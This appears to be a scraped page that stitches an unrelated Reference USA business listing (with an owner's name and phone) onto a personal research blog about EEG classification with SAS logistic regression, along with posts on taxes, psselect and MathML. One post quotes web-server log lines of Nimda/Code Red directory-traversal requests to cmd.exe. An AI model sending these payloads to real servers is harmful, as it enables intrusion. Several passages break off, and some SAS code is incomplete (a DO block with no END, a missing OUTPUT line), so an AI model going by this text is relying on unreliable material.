Reference USA gives the following info:
Name: CAPITAL MARKETS GLOBAL SVC Employees: Corporate Location 5 to 9
Address: 244 MADISON AVE # 339 Est Sales: $500,000 to $1 MILLION
City: NEW YORK, NY 10016-2817 Location: SINGLE LOC
Contact: MORGAN DENNY (OWNER) Credit Rating Code*: GOOD
County: NEW YORK ABI Number: 560918856
MSA: NEW YORK, NY Public: No
Phone: (212) 797-1298 Ticker Symbol: Not Applicable
Fax**: Toll Free Number: Not Applicable
Fortune 1000 Ranking: Not Applicable URL: Not Applicable
Foreign Parent: NO
SIC: 7361-05, EXECUTIVE SEARCH CONSULTANTS
NAICS: 54161204, HUMAN RESOURCES/EXEC SEARCH CNSLTNG SVCS
I need to transfer 8 channels x 32x200 bps = 51200 bps continuously. A buffer may be necessary - hopefully not. Based on some earlier work, it seems that life would be simplest if we used something like the TR1000 from RF Monolithics. The sales person suggested the DR2000, which packetizes the data and does some error correction. A microcontroller will be used to take data from 8 ADCs, multiplex them, and transmit them. We may be able to use some Atmel facilities on campus.
Given our proximity to April 15, it is only appropriate to have a tax related blog. So... suppose you are interested in giving music lessons, and you give a number of piano lessons. Certainly, some amount of tax is owed to the government, but how does it work?
Business or hobby. Regardless of profitability, the IRS distinguishes between businesses and hobbies. If your activities are classified as being a hobby, all your expenses may not be deductible. A hobby is an activity that is not engaged for profit. However, you can still lose money and be classified as a business, albeit a lousy one. But in order to show that you are a business, you must carry on your activity in a "business-like" manner, i.e., separate checking accounts, good records, etc. For a few lessons, is the distinction critical? Assume for the moment, that our activity is a business using the market rate claim.
Expensability. The IRS has a document on deducting business expenses. Here hobbies are defined as a "not-for-profit activity". In this case, the limitation on expense deduction is the gross income from the actities (see the example on page 5 regarding Ida). This is reasonable. Imagine that you like to build R/C helicopters, and you sell these to your friends at cost. The IRS would expect to receive something from the transaction, however, since you sell it at cost, you really aren't making anything, so you shouldn't have to pay any taxes. If you sell it to your friends at less then cost, you shouldn't be able to go back and try to reduce the tax liability for the rest of your earnings by claiming the deduction. (However, if you are self-employed, and R/C helicopters is your living, you should be always trying to make a profit, in which case, if you do have a loss, you reduce your total earnings since this is part of what you are trying to do for survival.)
So, what about our piano lessons. As long as the market rate is charged, it seems like it should be counted as a business. If the rate is heavily discounted, that may be more questionable. The problem with lessons is that the cost of material is not so easily computed. What goes into piano lessons:
Reordering postscript pages in unix is very straight-forward. There are a number of perl utilities out there but there is actually one that is probably in your system already. It's called psselect. psselect is part of PSUtils. To use it:
psselect -p1,16,2,15,3,14,...,8,9 in.ps out.ps
I wanted to have line numbers on the side of my Word document. But how? Thanks to google, I found it at TechTV.
After talking with Pat yesterday it seemed that I was missing the boat on a fundamental technique: stepwise selection. I found a good SAS tutorial at ncsu. In stepwise selection, an attempt is made to remove insignificant variables. The way I had been doing (though more manually) is also mentioned in the text and implemented by using SELECTION=BACKWARD instead of SELECTION=STEPWISE. The idea here is to eject variables below a certain significance level.
To run stepwise logistic regression, we specify entry significance level (SLENTRY=0.#) and staying significance level (SLSTAY=0.#). LACKFIT tests Lack of Fit.
title 'Stepwise logistic regression on class 1 versus class 7';
proc logistic data = A outest=params;
model var16=var1-var15 / selection=stepwise slentry=0.3 slstay=0.35 lackfit;
My home PC has been attacked. I figured out that it was either Nimda or Code Red.
cmpt-100.usask.ca - - [28/Mar/2003:13:02:27 -0800] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 294
cmpt-100.usask.ca - - [28/Mar/2003:13:02:27 -0800] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 292
cmpt-100.usask.ca - - [28/Mar/2003:13:02:28 -0800] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
cmpt-100.usask.ca - - [28/Mar/2003:13:02:28 -0800] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
cmpt-100.usask.ca - - [28/Mar/2003:13:02:28 -0800] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
cmpt-100.usask.ca - - [28/Mar/2003:13:02:28 -0800] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
cmpt-100.usask.ca - - [28/Mar/2003:13:02:28 -0800] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
cmpt-100.usask.ca - - [28/Mar/2003:13:02:28 -0800] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349
cmpt-100.usask.ca - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
cmpt-100.usask.ca - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
cmpt-100.usask.ca - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
cmpt-100.usask.ca - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
cmpt-100.usask.ca - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 306
cmpt-100.usask.ca - - [28/Mar/2003:13:02:30 -0800] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 306
cmpt-100.usask.ca - - [28/Mar/2003:13:02:30 -0800] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
cmpt-100.usask.ca - - [28/Mar/2003:13:02:30 -0800] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
I took S6A_c37 (C2P from S6A) and randomly split it into two sets, A and B. I then ran PROC CATMOD on each using the algorithm I discussed earlier - discarding redundant variables. Hmm... never mind, mabye this doesn't work. There was no match at all - in fact, even after cutting the p values for parameters on A were still bad. It may well be that CATMOD is the wrong tool for trying to do this.
As I suspected, the trouble comes from the large number of variables I'm using. I found a useful thread on Google groups discussing sample size. Essentially the posters suggest >10 events per independent variable, we are way off from there though, events being the minimum number of trials of each class. This would suggest that we need >10x61x7 = 4270, which we certainly don't have. (Though we might have it in the case of the math...). The only recourse is to take down the number of variables. Since we have ~100 of each class, we want <10 variables. Ouch.
I'd like to be able to randomize and split the dataset so that I can do the so-called 10-fold cross validation. How can I do this in SAS? I found some helpful hints on Marilyn Collins' website. The first step is the command SET which allows you to build a new dataset off of an existing dataset. You can, for instance, only choose triggers values greater than 4, e.g., 5, 6, and 7, using:
This posting by David Ward puts us even closer. Aha, but I struck gold at University of Texas at Austin Statistical Services...
Randomly selecting an approximate proportion
DATA analysis holdout;
IF RANUNI(0) < = 2/3 OUTPUT analysis;
ELSE OUTPUT holdout;
DATA analysis holdout;
RETAIN k 67 n 100;
IF RANUNI(358798) < = k/n THEN DO;
k = k-1;
ELSE OUTPUT holdout;
n = n-1;
DROP k n;
After some discussion with Pat, I decided to attempt to run logisitic regression using downsampled observations as the input variables. For each channel there are 61 points, so in total, we have 61x60=3660, far too many points! After a failed attempted at loading the file into SAS, I chose one channel from S6A, C2P (the best monopolar channel using least square).
Data. The dataset consists of S6's responses to seven words presented aurally. As mentioned earlier, channel 37, C2P, was selected via earlier results using our traditional method. EEG recordings using Neuroscan were recorded in continous mode (.cnt) was filtered at 25 Hz and downsampled to 50 Hz. For each trial, the start point was -200 ms from the stimulus trigger, and the end point was 1000 ms from the same trigger. Data were then converted into a comma-delimited format and imported into SAS.
Procedure. I used the CATMOD procedure in SAS. Among other things, this procedure allows one to run nominal logistic regression. I used the following script:
PROC CATMOD DATA=classify.s6a_c37;
MODEL var62=var1-var61 / noprofile;
ods html body='WWW/tuning/saslogs/test.html';
MODEL var62=var29 var37 var44 / noprofile;
title2 'Fifth cut';
ods html close;
I found an article today from Carnegie Mellon entitled Fast Robust Logistic Regression for Large Sparse Datasets with Binary Outputs. Paul Kornarek and Andrew Moore from the Autolab compared logistic regression with a number of other classification tools (like Support Vector Machine) and found little difference in performance, contrary to popular belief. Of particular interest to me was their data set and methodology. The data set consisted of life sciences data of up to a million attributes. This is interesting because I was considering doing the same with EEG data but concerned with overfitting.
Data. The authors used two sets of data, ds1 and ds2. ds1 consists of ~6,000 binary-attributes and 27,000 rows, and ds2 ~1,000,000 binary-valued attributes and 90,000 rows. The interesting thing about the latter is that the number of attributes exceeds the number of rows. There are caveats however. Unlike our attributes (the waveform, and potentially the spectrum), ds1 and ds2 are sparse, meaning that there are few non-zero attributes. In fact, they basically end up showing reducing the data down to 10 and 100 attributes using Principle Component Analysis (PCA) give similar results to using the full set of data.
In our case the attributes are continuous, and, dense. ds1 and ds2 are life sciences data. I suspect that they must encode the presence of certain genes, hence the binary attributes. ds1 has a sparcity factor F = 0.0220 while ds2 has a sparcity factor of F=0.0003. Assuming that the non-zero's are even distributed (which they shouldn't be), we would arrive 132 non-zero elements/row for ds1 and 300 elements/row for ds2. What I will probably try next is to do classification based on logistic regression by channel, and compare channel results. After that, we can see if combining channels (basically putting together the waveforms) can make any difference.
Analysis. Two things were interesting in the paper. To compare results, they used 10-fold cross validation. I should do this on my results as well. They also use an interesting plot called a Receiver Operating Characteristic (ROC) curve. To construct this curve, the dataset rows are first sorted in order of decreasing probability. Then, starting from the graph origin, the rows are stepped through moving one unit up if the row is positive and right otherwise. On a dataset of P positive and R-P negative rows, a perfect lerner starts at the origin, goes up to (0,P) and then goes straight to (R-P,P). A random guesser moves from (0,P) direct to (R-P,P).
The success of the learning is measured by the area under the [ROC] curve (AUC). A perfect learner has an AUC of 1.0 while a random guesser has an AUC of 0.5. The data as partitioned 10 times (10 fold) to calculate the standard deviation of the AUC. The same 10 partitions are used to compare various algorithms, and comparisons are made pairwise using the same partition.
Looking at laptops, I stumbled upon a company called PCVideoOnline which seemed to have an unbelieveable pricing. I'll let the reviews speak for themselves. They are very extreme either 1's or 5's, which makes it quite... err... interesting.
Sure enough, the laptop turned out to be a "Class A Refurbished" with 90-day warranty. Now, this may not be bad, since many times people return laptops within 30 days. These turn into "refurbished". Still, it would seem more honest if they just said it up front on site, instead of advertising it as if it was new. Also, there is additional 4% "insurance" charge.
On an earlier post, I described my first (rather weak) attempt at logistic regression. It failed because I did not structure the problem properly. I was trying to see which channels contributed best to recognition using each channel's classification rate. Of course, this is exactly what the algorithm gives back. In order to use logisitic regression in our prolbem, we need to use it to give back not the classification rate of each channel, but the probability that the trial is a particular class given the results of each channel. I've italicized results because we can either look at the output of our least squares or correlation coefficient classification, or, we can look at a more basic level at the waveforms themselves. I will start with the former. Besides binary responses, logisitic regression can be used to classify both nominal and ordinal responses. Nominal responses are unordered, e.g., French, Italian, or Thousand Island. Ordinal responses are ordered, e.g., no pain, slightly painful, or really painful. In our particular application the classification classes are nominal. This type of analysis is known as nomial, multinomial or polytomous logisitic regression.
In SAS, PROC LOGISTIC is used for ordinal logistic regression while PROC CATMOD is used for nominal logistic regression. I will be using the latter. Fortunately, SAS gives some examples on how to use this in command line mode. An even better tutorial can be found at Queens. Unfortunately, I could discern no way of using this command using Analyst. Incidentally, I found a quick reference on file handling in SAS. Be careful not to erase your file. The DIRECT keyword should not be used, as it specifies that the data should be treated as quantitative rather than qualititive. In this case the classification gives the class which is qualititative.
The data should be formatted like so:
I realized that I needed a good way of displaying equations. Rather than going the graphical route, I decided to try MathML. If you are using Internet Explorer, you will need either IBM Techexplorer ($27, 30-day trial) or Design Science MathPlayer (free... at the moment). Design Science are the same people who make MathType and Equation Editor in Microsoft Word - so I doubt it will remain free long. I've included a link to MathPlayer on the right hand column under "Tools". Incidentally, if you are using the latest version of Netscape, Amaya or Mozilla you don't have to download anything. For more details click here. Unfortunately, it's still not quite working perfectly on this blog, as it is designed to be in XML not XHTML. It does work for IE users with MathPlayer installed though.
MathPlayer. If you are willing to lock your users to using IE6 and MathPlayer, you can following the instructions at Design Science. This is obviously not ideal, but I had a hard time getting anything else to work though MovableType does use XHTML. The problem with this setup is that MoveableType inserts a "br" each time you press enter. This totally mixes up the MathML and messes up the equation. To get it to work, you must have no carriage returns anywhere between m:math and /m:math.
This is a MathPlayer test:
Generalization. There must be a way to make it so that we don't have to lock ourselves into using MathPlayer, however, the way is not yet evident. I found some tips on parsing MathML at the w3.org website that don't work. I can write xml that will work but in xhtml we may well need to declare the MathPlayer object. If you are using Linux, this page probably even gave you an error!
How to structure the problem is a big issue. Usually logisitic regression is used in situations where the potential factors are quite clear. For instance, weight, sex, family history as they relate to a disease like heart disease. In our case, it is not so evident what the factors to use in the model are. We could, for instance, use logistic regression as a sort of bootstrap for our existing classification scheme. We can determine how each channel contributes to correct classification and create a weight. Or, we could start at a more basic level and let each observation point be a factor to be analyzed. A consideration in the latter case is the great potential for overfitting.
Potential methods. In the current implementation, we are able to obtain, for each training trial, N channels of match or no match. We have this for each grid point. We can go further, by considering the class that each channel matches too (1 through 7). The next level would be to examine the least squares or correlation coefficient to each class. Finally, we can discard our measure all together and use each observation point (or Fourier component) as a factor in our analysis. Note: From now on I will only consider data downsampled using Marcos' (traditional) method so that there is no controversy regarding the base data.
Match - first cut. In the "match" analysis, rather than simply using results of the best channel, we can consider all other channels. But how can we weight the significance of other channels? We can do it with logistic regression. In this case, the response is binary - either 1 or 0, does match or does not match. The dependent variables are the results for each channel, either 1 or 0. In VA monopolar data there are 60 channels. However, in the bipolar data there are 1770 channels - clearly a recipe for overfitting. We can reduce the data set by considering only the best m channels, or, we can run all of them and take out channels that seem irrelevant after we do the logisitic regression.
To build the model, we would something like:
I've been playing around with logistic regression on SAS. In case you should happen to need to do the same, here are a few useful things. First of all, as it helps to have a GUI, get VNC installed and running. This will let you run X-windows on a PC. I was fortunate to find some helpful scripts from Chaiyasit Manovit, who incidentally rocks. Unfortunately I had problems saving file templates but still did not have too bad of a time importing my data. A good place to start is the Analyst (under Solutions->Analysis->Analyst).